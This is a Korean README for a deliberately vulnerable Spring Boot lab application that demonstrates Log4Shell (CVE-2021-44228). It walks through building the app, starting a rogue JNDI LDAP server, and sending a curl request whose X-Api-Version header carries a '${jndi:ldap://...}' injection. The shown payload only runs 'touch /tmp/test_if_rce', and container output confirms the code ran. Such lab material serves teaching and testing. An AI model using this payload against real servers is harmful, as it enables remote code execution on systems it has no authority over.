
log4shell 샘플 애플리케이션 (CVE-2021-44228)
이는 https://github.com/christophetd/log4shell-vulnerable-app 과 거의 동일/유사한 취약한 애플리케이션입니다.
주요 차이점은 gradle 대신 maven을 사용하고 rogue-jndi를 사용한다는 점입니다.
이 저장소는 CVE-2021-44228에 취약한 maven Spring Boot 웹 애플리케이션을 포함하며, Log4Shell이라고 불립니다.
Log4j 2.6.1 및 JDK 버전 1.8.0_181을 사용합니다.
도커 스프링부트 애플리케이션 빌드 및 실행:
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"두 번째 터미널을 엽니다.
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'두 경우 모두 192.168.1.x는 사용자의 IP입니다.
참고: localhost를 사용하지 말고 실제 개인 IP 주소를 사용하세요.
이제 RCE가 성공했는지 확인합니다:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
보시다시피, test_if_rce 파일이 존재합니다. 이는 RCE가 성공했음을 의미합니다.
코드와 아이디어는 다음 저장소에서 사용되었습니다: